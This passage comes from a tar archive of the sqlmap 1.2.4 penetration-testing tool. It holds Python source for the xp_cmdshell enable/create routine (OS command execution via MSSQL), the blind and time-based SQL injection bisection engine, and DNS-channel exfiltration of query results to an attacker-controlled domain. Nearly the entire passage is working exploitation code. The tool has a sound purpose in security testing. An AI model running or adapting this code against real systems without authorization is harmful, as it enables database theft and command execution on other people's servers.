if output and isListLike(output) and len(output) > 1: _ = "" lines = [line for line in flattenValue(output) if line is not None] for i in xrange(len(lines)): line = lines[i] or "" if line is None or i in (0, len(lines) - 1) and not line.strip(): continue _ += "%s\n" % line output = _.rstrip('\n') return output def xpCmdshellInit(self): if not kb.xpCmdshellAvailable: infoMsg = "checking if xp_cmdshell extended procedure is " infoMsg += "available, please wait.." logger.info(infoMsg) result = self._xpCmdshellCheck() if result: logger.info("xp_cmdshell extended procedure is available") kb.xpCmdshellAvailable = True else: message = "xp_cmdshell extended procedure does not seem to " message += "be available. Do you want sqlmap to try to " message += "re-enable it? [Y/n] " if readInput(message, default='Y', boolean=True): self._xpCmdshellConfigure(1) if self._xpCmdshellCheck(): logger.info("xp_cmdshell re-enabled successfully") kb.xpCmdshellAvailable = True else: logger.warn("xp_cmdshell re-enabling failed") logger.info("creating xp_cmdshell with sp_OACreate") self._xpCmdshellConfigure(0) self._xpCmdshellCreate() if self._xpCmdshellCheck(): logger.info("xp_cmdshell created successfully") kb.xpCmdshellAvailable = True else: warnMsg = "xp_cmdshell creation failed, probably " warnMsg += "because sp_OACreate is disabled" logger.warn(warnMsg) hashDBWrite(HASHDB_KEYS.KB_XP_CMDSHELL_AVAILABLE, kb.xpCmdshellAvailable) if not kb.xpCmdshellAvailable: errMsg = "unable to proceed without xp_cmdshell" raise SqlmapUnsupportedFeatureException(errMsg) debugMsg = "creating a support table to write commands standard " debugMsg += "output to" logger.debug(debugMsg) # TEXT can't be used here because in error technique you get: # "The text, ntext, and image data types cannot be compared or sorted" self.createSupportTbl(self.cmdTblName, self.tblField, "NVARCHAR(4000)") self._xpCmdshellTest() �������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/lib/techniques/������������������������������������������������������������������������0000775�0000000�0000000�00000000000�13260122637�0015733�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/lib/techniques/__init__.py�������������������������������������������������������������0000664�0000000�0000000�00000000222�13260122637�0020040�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ pass ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/lib/techniques/blind/������������������������������������������������������������������0000775�0000000�0000000�00000000000�13260122637�0017023�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/lib/techniques/blind/__init__.py�������������������������������������������������������0000664�0000000�0000000�00000000222�13260122637�0021130�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ pass ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/lib/techniques/blind/inference.py������������������������������������������������������0000664�0000000�0000000�00000077255�13260122637�0021353�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import re import threading import time from extra.safe2bin.safe2bin import safecharencode from lib.core.agent import agent from lib.core.common import Backend from lib.core.common import calculateDeltaSeconds from lib.core.common import dataToStdout from lib.core.common import decodeHexValue from lib.core.common import decodeIntToUnicode from lib.core.common import filterControlChars from lib.core.common import getCharset from lib.core.common import getCounter from lib.core.common import goGoodSamaritan from lib.core.common import getPartRun from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import incrementCounter from lib.core.common import safeStringFormat from lib.core.common import singleTimeWarnMessage from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.enums import ADJUST_TIME_DELAY from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapThreadException from lib.core.settings import CHAR_INFERENCE_MARK from lib.core.settings import INFERENCE_BLANK_BREAK from lib.core.settings import INFERENCE_UNKNOWN_CHAR from lib.core.settings import INFERENCE_GREATER_CHAR from lib.core.settings import INFERENCE_EQUALS_CHAR from lib.core.settings import INFERENCE_MARKER from lib.core.settings import INFERENCE_NOT_EQUALS_CHAR from lib.core.settings import MAX_BISECTION_LENGTH from lib.core.settings import MAX_REVALIDATION_STEPS from lib.core.settings import NULL from lib.core.settings import PARTIAL_HEX_VALUE_MARKER from lib.core.settings import PARTIAL_VALUE_MARKER from lib.core.settings import PAYLOAD_DELIMITER from lib.core.settings import RANDOM_INTEGER_MARKER from lib.core.settings import VALID_TIME_CHARS_RUN_THRESHOLD from lib.core.threads import getCurrentThreadData from lib.core.threads import runThreads from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request from lib.utils.progress import ProgressBar from lib.utils.xrange import xrange def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False): """ Bisection algorithm that can be used to perform blind SQL injection on an affected host """ abortedFlag = False showEta = False partialValue = u"" finalValue = None retrievedLength = 0 if charsetType is None and conf.charset: asciiTbl = sorted(set(ord(_) for _ in conf.charset)) else: asciiTbl = getCharset(charsetType) threadData = getCurrentThreadData() timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) retVal = hashDBRetrieve(expression, checkConf=True) if retVal: if PARTIAL_HEX_VALUE_MARKER in retVal: retVal = retVal.replace(PARTIAL_HEX_VALUE_MARKER, "") if retVal and conf.hexConvert: partialValue = retVal infoMsg = "resuming partial value: %s" % safecharencode(partialValue) logger.info(infoMsg) elif PARTIAL_VALUE_MARKER in retVal: retVal = retVal.replace(PARTIAL_VALUE_MARKER, "") if retVal and not conf.hexConvert: partialValue = retVal infoMsg = "resuming partial value: %s" % safecharencode(partialValue) logger.info(infoMsg) else: infoMsg = "resumed: %s" % safecharencode(retVal) logger.info(infoMsg) return 0, retVal try: # Set kb.partRun in case "common prediction" feature (a.k.a. "good samaritan") is used or the engine is called from the API if conf.predictOutput: kb.partRun = getPartRun() elif conf.api: kb.partRun = getPartRun(alias=False) else: kb.partRun = None if partialValue: firstChar = len(partialValue) elif re.search(r"(?i)\b(LENGTH|LEN)\(", expression): firstChar = 0 elif (kb.fileReadMode or dump) and conf.firstChar is not None and (isinstance(conf.firstChar, int) or (isinstance(conf.firstChar, basestring) and conf.firstChar.isdigit())): firstChar = int(conf.firstChar) - 1 if kb.fileReadMode: firstChar <<= 1 elif isinstance(firstChar, basestring) and firstChar.isdigit() or isinstance(firstChar, int): firstChar = int(firstChar) - 1 else: firstChar = 0 if re.search(r"(?i)\b(LENGTH|LEN)\(", expression): lastChar = 0 elif dump and conf.lastChar is not None and (isinstance(conf.lastChar, int) or (isinstance(conf.lastChar, basestring) and conf.lastChar.isdigit())): lastChar = int(conf.lastChar) elif isinstance(lastChar, basestring) and lastChar.isdigit() or isinstance(lastChar, int): lastChar = int(lastChar) else: lastChar = 0 if Backend.getDbms(): _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression) nulledCastedField = agent.nullAndCastField(fieldToCastStr) expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1) expressionUnescaped = unescaper.escape(expressionReplaced) else: expressionUnescaped = unescaper.escape(expression) if isinstance(length, basestring) and length.isdigit() or isinstance(length, int): length = int(length) else: length = None if length == 0: return 0, "" if length and (lastChar > 0 or firstChar > 0): length = min(length, lastChar or length) - firstChar if length and length > MAX_BISECTION_LENGTH: length = None showEta = conf.eta and isinstance(length, int) numThreads = min(conf.threads, length) or 1 if showEta: progress = ProgressBar(maxValue=length) if timeBasedCompare and conf.threads > 1 and not conf.forceThreads: warnMsg = "multi-threading is considered unsafe in time-based data retrieval. Going to switch it off automatically" singleTimeWarnMessage(warnMsg) if numThreads > 1: if not timeBasedCompare or conf.forceThreads: debugMsg = "starting %d thread%s" % (numThreads, ("s" if numThreads > 1 else "")) logger.debug(debugMsg) else: numThreads = 1 if conf.threads == 1 and not timeBasedCompare and not conf.predictOutput: warnMsg = "running in a single-thread mode. Please consider " warnMsg += "usage of option '--threads' for faster data retrieval" singleTimeWarnMessage(warnMsg) if conf.verbose in (1, 2) and not showEta and not conf.api: if isinstance(length, int) and conf.threads > 1: dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth))) dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) else: dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) hintlock = threading.Lock() def tryHint(idx): with hintlock: hintValue = kb.hintValue if hintValue is not None and len(hintValue) >= idx: if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB, DBMS.DB2): posValue = hintValue[idx - 1] else: posValue = ord(hintValue[idx - 1]) forgedPayload = agent.extractPayload(payload) forgedPayload = safeStringFormat(forgedPayload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue)) result = Request.queryPage(agent.replacePayload(payload, forgedPayload), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: return hintValue[idx - 1] with hintlock: kb.hintValue = None return None def validateChar(idx, value): """ Used in inference - in time-based SQLi if original and retrieved value are not equal there will be a deliberate delay """ validationPayload = re.sub(r"(%s.*?)%s(.*?%s)" % (PAYLOAD_DELIMITER, INFERENCE_GREATER_CHAR, PAYLOAD_DELIMITER), r"\g<1>%s\g<2>" % INFERENCE_NOT_EQUALS_CHAR, payload) if "'%s'" % CHAR_INFERENCE_MARK not in payload: forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx, value)) else: # e.g.: ... > '%c' -> ... > ORD(..) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(value)) forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue) result = not Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) if result and timeBasedCompare and kb.injection.data[kb.technique].trueCode: result = threadData.lastCode == kb.injection.data[kb.technique].trueCode if not result: warnMsg = "detected HTTP code '%s' in validation phase is differing from expected '%s'" % (threadData.lastCode, kb.injection.data[kb.technique].trueCode) singleTimeWarnMessage(warnMsg) incrementCounter(kb.technique) return result def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None): """ continuousOrder means that distance between each two neighbour's numerical values is exactly 1 """ result = tryHint(idx) if result: return result if charTbl is None: charTbl = type(asciiTbl)(asciiTbl) originalTbl = type(charTbl)(charTbl) if continuousOrder and shiftTable is None: # Used for gradual expanding into unicode charspace shiftTable = [2, 2, 3, 3, 5, 4] if "'%s'" % CHAR_INFERENCE_MARK in payload: for char in ('\n', '\r'): if ord(char) in charTbl: charTbl.remove(ord(char)) if not charTbl: return None elif len(charTbl) == 1: forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0])) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: return decodeIntToUnicode(charTbl[0]) else: return None maxChar = maxValue = charTbl[-1] minChar = minValue = charTbl[0] firstCheck = False lastCheck = False unexpectedCode = False if continuousOrder: while len(charTbl) > 1: position = None if charsetType is None: if not firstCheck: try: try: lastChar = [_ for _ in threadData.shared.value if _ is not None][-1] except IndexError: lastChar = None if 'a' <= lastChar <= 'z': position = charTbl.index(ord('a') - 1) # 96 elif 'A' <= lastChar <= 'Z': position = charTbl.index(ord('A') - 1) # 64 elif '0' <= lastChar <= '9': position = charTbl.index(ord('0') - 1) # 47 except ValueError: pass finally: firstCheck = True elif not lastCheck and numThreads == 1: # not usable in multi-threading environment if charTbl[(len(charTbl) >> 1)] < ord(' '): try: # favorize last char check if current value inclines toward 0 position = charTbl.index(1) except ValueError: pass finally: lastCheck = True if position is None: position = (len(charTbl) >> 1) posValue = charTbl[position] falsePayload = None if "'%s'" % CHAR_INFERENCE_MARK not in payload: forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue)) falsePayload = safeStringFormat(payload, (expressionUnescaped, idx, RANDOM_INTEGER_MARKER)) else: # e.g.: ... > '%c' -> ... > ORD(..) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue)) forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue) falsePayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, NULL) if timeBasedCompare: if kb.responseTimeMode: kb.responseTimePayload = falsePayload else: kb.responseTimePayload = None result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if not timeBasedCompare: unexpectedCode |= threadData.lastCode not in (kb.injection.data[kb.technique].falseCode, kb.injection.data[kb.technique].trueCode) if unexpectedCode: warnMsg = "unexpected HTTP code '%s' detected. Will use (extra) validation step in similar cases" % threadData.lastCode singleTimeWarnMessage(warnMsg) if result: minValue = posValue if not isinstance(charTbl, xrange): charTbl = charTbl[position:] else: # xrange() - extended virtual charset used for memory/space optimization charTbl = xrange(charTbl[position], charTbl[-1] + 1) else: maxValue = posValue if not isinstance(charTbl, xrange): charTbl = charTbl[:position] else: charTbl = xrange(charTbl[0], charTbl[position]) if len(charTbl) == 1: if maxValue == 1: return None # Going beyond the original charset elif minValue == maxChar: # If the original charTbl was [0,..,127] new one # will be [128,..,(128 << 4) - 1] or from 128 to 2047 # and instead of making a HUGE list with all the # elements we use a xrange, which is a virtual # list if expand and shiftTable: charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop()) originalTbl = xrange(charTbl) maxChar = maxValue = charTbl[-1] minChar = minValue = charTbl[0] else: return None else: retVal = minValue + 1 if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload): if (timeBasedCompare or unexpectedCode) and not validateChar(idx, retVal): if not kb.originalTimeDelay: kb.originalTimeDelay = conf.timeSec threadData.validationRun = 0 if retried < MAX_REVALIDATION_STEPS: errMsg = "invalid character detected. retrying.." logger.error(errMsg) if timeBasedCompare: if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE: conf.timeSec += 1 warnMsg = "increasing time delay to %d second%s" % (conf.timeSec, 's' if conf.timeSec > 1 else '') logger.warn(warnMsg) if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES: dbgMsg = "turning off time auto-adjustment mechanism" logger.debug(dbgMsg) kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO return getChar(idx, originalTbl, continuousOrder, expand, shiftTable, (retried or 0) + 1) else: errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode(retVal) logger.error(errMsg) conf.timeSec = kb.originalTimeDelay return decodeIntToUnicode(retVal) else: if timeBasedCompare: threadData.validationRun += 1 if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and threadData.validationRun > VALID_TIME_CHARS_RUN_THRESHOLD: dbgMsg = "turning back on time auto-adjustment mechanism" logger.debug(dbgMsg) kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES return decodeIntToUnicode(retVal) else: return None else: candidates = list(originalTbl) bit = 0 while len(candidates) > 1: bits = {} for candidate in candidates: bit = 0 while candidate: bits.setdefault(bit, 0) bits[bit] += 1 if candidate & 1 else -1 candidate >>= 1 bit += 1 choice = sorted(bits.items(), key=lambda _: abs(_[1]))[0][0] mask = 1 << choice forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, "&%d%s" % (mask, INFERENCE_GREATER_CHAR)), (expressionUnescaped, idx, 0)) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: candidates = [_ for _ in candidates if _ & mask > 0] else: candidates = [_ for _ in candidates if _ & mask == 0] bit += 1 if candidates: forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, candidates[0])) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: return decodeIntToUnicode(candidates[0]) # Go multi-threading (--threads > 1) if conf.threads > 1 and isinstance(length, int) and length > 1: threadData.shared.value = [None] * length threadData.shared.index = [firstChar] # As list for python nested function scoping threadData.shared.start = firstChar try: def blindThread(): threadData = getCurrentThreadData() while kb.threadContinue: with kb.locks.index: if threadData.shared.index[0] - firstChar >= length: return threadData.shared.index[0] += 1 currentCharIndex = threadData.shared.index[0] if kb.threadContinue: start = time.time() val = getChar(currentCharIndex, asciiTbl, not(charsetType is None and conf.charset)) if val is None: val = INFERENCE_UNKNOWN_CHAR else: break with kb.locks.value: threadData.shared.value[currentCharIndex - 1 - firstChar] = val currentValue = list(threadData.shared.value) if kb.threadContinue: if showEta: progress.progress(calculateDeltaSeconds(start), threadData.shared.index[0]) elif conf.verbose >= 1: startCharIndex = 0 endCharIndex = 0 for i in xrange(length): if currentValue[i] is not None: endCharIndex = max(endCharIndex, i) output = '' if endCharIndex > conf.progressWidth: startCharIndex = endCharIndex - conf.progressWidth count = threadData.shared.start for i in xrange(startCharIndex, endCharIndex + 1): output += '_' if currentValue[i] is None else currentValue[i] for i in xrange(length): count += 1 if currentValue[i] is not None else 0 if startCharIndex > 0: output = ".." + output[2:] if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length - 1): output = output[:-2] + ".." if conf.verbose in (1, 2) and not showEta and not conf.api: _ = count - firstChar output += '_' * (min(length, conf.progressWidth) - len(output)) status = ' %d/%d (%d%%)' % (_, length, int(100.0 * _ / length)) output += status if _ != length else " " * len(status) dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(output))) runThreads(numThreads, blindThread, startThreadMsg=False) except KeyboardInterrupt: abortedFlag = True finally: value = [_ for _ in partialValue] value.extend(_ for _ in threadData.shared.value) infoMsg = None # If we have got one single character not correctly fetched it # can mean that the connection to the target URL was lost if None in value: partialValue = "".join(value[:value.index(None)]) if partialValue: infoMsg = "\r[%s] [INFO] partially retrieved: %s" % (time.strftime("%X"), filterControlChars(partialValue)) else: finalValue = "".join(value) infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(finalValue)) if conf.verbose in (1, 2) and not showEta and infoMsg and not conf.api: dataToStdout(infoMsg) # No multi-threading (--threads = 1) else: index = firstChar threadData.shared.value = "" while True: index += 1 start = time.time() # Common prediction feature (a.k.a. "good samaritan") # NOTE: to be used only when multi-threading is not set for # the moment if conf.predictOutput and len(partialValue) > 0 and kb.partRun is not None: val = None commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(partialValue, asciiTbl) # If there is one single output in common-outputs, check # it via equal against the query output if commonValue is not None: # One-shot query containing equals commonValue testValue = unescaper.escape("'%s'" % commonValue) if "'" not in commonValue else unescaper.escape("%s" % commonValue, quote=False) query = kb.injection.data[kb.technique].vector query = agent.prefixQuery(query.replace(INFERENCE_MARKER, "(%s)%s%s" % (expressionUnescaped, INFERENCE_EQUALS_CHAR, testValue))) query = agent.suffixQuery(query) result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) # Did we have luck? if result: if showEta: progress.progress(calculateDeltaSeconds(start), len(commonValue)) elif conf.verbose in (1, 2) or conf.api: dataToStdout(filterControlChars(commonValue[index - 1:])) finalValue = commonValue break # If there is a common pattern starting with partialValue, # check it via equal against the substring-query output if commonPattern is not None: # Substring-query containing equals commonPattern subquery = queries[Backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern)) testValue = unescaper.escape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.escape("%s" % commonPattern, quote=False) query = kb.injection.data[kb.technique].vector query = agent.prefixQuery(query.replace(INFERENCE_MARKER, "(%s)=%s" % (subquery, testValue))) query = agent.suffixQuery(query) result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) # Did we have luck? if result: val = commonPattern[index - 1:] index += len(val) - 1 # Otherwise if there is no commonValue (single match from # txt/common-outputs.txt) and no commonPattern # (common pattern) use the returned common charset only # to retrieve the query output if not val and commonCharset: val = getChar(index, commonCharset, False) # If we had no luck with commonValue and common charset, # use the returned other charset if not val: val = getChar(index, otherCharset, otherCharset == asciiTbl) else: val = getChar(index, asciiTbl, not(charsetType is None and conf.charset)) if val is None: finalValue = partialValue break if kb.data.processChar: val = kb.data.processChar(val) threadData.shared.value = partialValue = partialValue + val if showEta: progress.progress(calculateDeltaSeconds(start), index) elif conf.verbose in (1, 2) or conf.api: dataToStdout(filterControlChars(val)) # some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces if len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace() and partialValue.strip(' ')[-1:] != '\n': finalValue = partialValue[:-INFERENCE_BLANK_BREAK] break if (lastChar > 0 and index >= lastChar): finalValue = "" if length == 0 else partialValue finalValue = finalValue.rstrip() if len(finalValue) > 1 else finalValue partialValue = None break except KeyboardInterrupt: abortedFlag = True finally: kb.prependFlag = False kb.stickyLevel = None retrievedLength = len(finalValue or "") if finalValue is not None: finalValue = decodeHexValue(finalValue) if conf.hexConvert else finalValue hashDBWrite(expression, finalValue) elif partialValue: hashDBWrite(expression, "%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else PARTIAL_HEX_VALUE_MARKER, partialValue)) if conf.hexConvert and not abortedFlag and not conf.api: infoMsg = "\r[%s] [INFO] retrieved: %s %s\n" % (time.strftime("%X"), filterControlChars(finalValue), " " * retrievedLength) dataToStdout(infoMsg) else: if conf.verbose in (1, 2) and not showEta and not conf.api: dataToStdout("\n") if (conf.verbose in (1, 2) and showEta) or conf.verbose >= 3: infoMsg = "retrieved: %s" % filterControlChars(finalValue) logger.info(infoMsg) if kb.threadException: raise SqlmapThreadException("something unexpected happened inside the threads") if abortedFlag: raise KeyboardInterrupt _ = finalValue or partialValue return getCounter(kb.technique), safecharencode(_) if kb.safeCharEncode else _ def queryOutputLength(expression, payload): """ Returns the query output length. """ infoMsg = "retrieving the length of query output" logger.info(infoMsg) start = time.time() lengthExprUnescaped = agent.forgeQueryOutputLength(expression) count, length = bisection(payload, lengthExprUnescaped, charsetType=CHARSET_TYPE.DIGITS) debugMsg = "performed %d queries in %.2f seconds" % (count, calculateDeltaSeconds(start)) logger.debug(debugMsg) if length == " ": length = 0 return length ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/lib/techniques/dns/��������������������������������������������������������������������0000775�0000000�0000000�00000000000�13260122637�0016517�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/lib/techniques/dns/__init__.py���������������������������������������������������������0000664�0000000�0000000�00000000222�13260122637�0020624�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ pass ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/lib/techniques/dns/test.py�������������������������������������������������������������0000664�0000000�0000000�00000002145�13260122637�0020052�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.common import Backend from lib.core.common import randomInt from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.exception import SqlmapNotVulnerableException from lib.techniques.dns.use import dnsUse def dnsTest(payload): logger.info("testing for data retrieval through DNS channel") randInt = randomInt() kb.dnsTest = dnsUse(payload, "SELECT %d%s" % (randInt, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""))) == str(randInt) if not kb.dnsTest: errMsg = "data retrieval through DNS channel failed" if not conf.forceDns: conf.dnsDomain = None errMsg += ". Turning off DNS exfiltration support" logger.error(errMsg) else: raise SqlmapNotVulnerableException(errMsg) else: infoMsg = "data retrieval through DNS channel was successful" logger.info(infoMsg) ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/lib/techniques/dns/use.py��������������������������������������������������������������0000664�0000000�0000000�00000011573�13260122637�0017674�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import re import time from extra.safe2bin.safe2bin import safecharencode from lib.core.agent import agent from lib.core.common import Backend from lib.core.common import calculateDeltaSeconds from lib.core.common import dataToStdout from lib.core.common import decodeHexValue from lib.core.common import extractRegexResult from lib.core.common import getSQLSnippet from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import randomInt from lib.core.common import randomStr from lib.core.common import safeStringFormat from lib.core.common import singleTimeWarnMessage from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.enums import DBMS from lib.core.settings import DNS_BOUNDARIES_ALPHABET from lib.core.settings import MAX_DNS_LABEL from lib.core.settings import PARTIAL_VALUE_MARKER from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request def dnsUse(payload, expression): """ Retrieve the output of a SQL query taking advantage of the DNS resolution mechanism by making request back to attacker's machine. """ start = time.time() retVal = None count = 0 offset = 1 if conf.dnsDomain and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL): output = hashDBRetrieve(expression, checkConf=True) if output and PARTIAL_VALUE_MARKER in output or kb.dnsTest is None: output = None if output is None: kb.dnsMode = True while True: count += 1 prefix, suffix = ("%s" % randomStr(length=3, alphabet=DNS_BOUNDARIES_ALPHABET) for _ in xrange(2)) chunk_length = MAX_DNS_LABEL / 2 if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL) else MAX_DNS_LABEL / 4 - 2 _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression) nulledCastedField = agent.nullAndCastField(fieldToCastStr) extendedField = re.search(r"[^ ,]*%s[^ ,]*" % re.escape(fieldToCastStr), expression).group(0) if extendedField != fieldToCastStr: # e.g. MIN(surname) nulledCastedField = extendedField.replace(fieldToCastStr, nulledCastedField) fieldToCastStr = extendedField nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, chunk_length) nulledCastedField = agent.hexConvertField(nulledCastedField) expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1) expressionRequest = getSQLSnippet(Backend.getIdentifiedDbms(), "dns_request", PREFIX=prefix, QUERY=expressionReplaced, SUFFIX=suffix, DOMAIN=conf.dnsDomain) expressionUnescaped = unescaper.escape(expressionRequest) if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.PGSQL): query = agent.prefixQuery("; %s" % expressionUnescaped) query = "%s%s" % (query, queries[Backend.getIdentifiedDbms()].comment.query) forgedPayload = agent.payload(newValue=query) else: forgedPayload = safeStringFormat(payload, (expressionUnescaped, randomInt(1), randomInt(3))) Request.queryPage(forgedPayload, content=False, noteResponseTime=False, raise404=False) _ = conf.dnsServer.pop(prefix, suffix) if _: _ = extractRegexResult("%s\.(?P<result>.+)\.%s" % (prefix, suffix), _, re.I) _ = decodeHexValue(_) output = (output or "") + _ offset += len(_) if len(_) < chunk_length: break else: break output = decodeHexValue(output) if conf.hexConvert else output kb.dnsMode = False if output is not None: retVal = output if kb.dnsTest is not None: dataToStdout("[%s] [INFO] %s: %s\n" % (time.strftime("%X"), "retrieved" if count > 0 else "resumed", safecharencode(output))) if count > 0: hashDBWrite(expression, output) if not kb.bruteMode: debugMsg = "performed %d queries in %.2f seconds" % (count, calculateDeltaSeconds(start)) logger.debug(debugMsg) elif conf.dnsDomain: warnMsg = "DNS data exfiltration method through SQL injection " warnMsg += "is currently not available for DBMS %s" % Backend.getIdentifiedDbms() singleTimeWarnMessage(warnMsg) return safecharencode(retVal) if kb.safeCharEncode else retVal 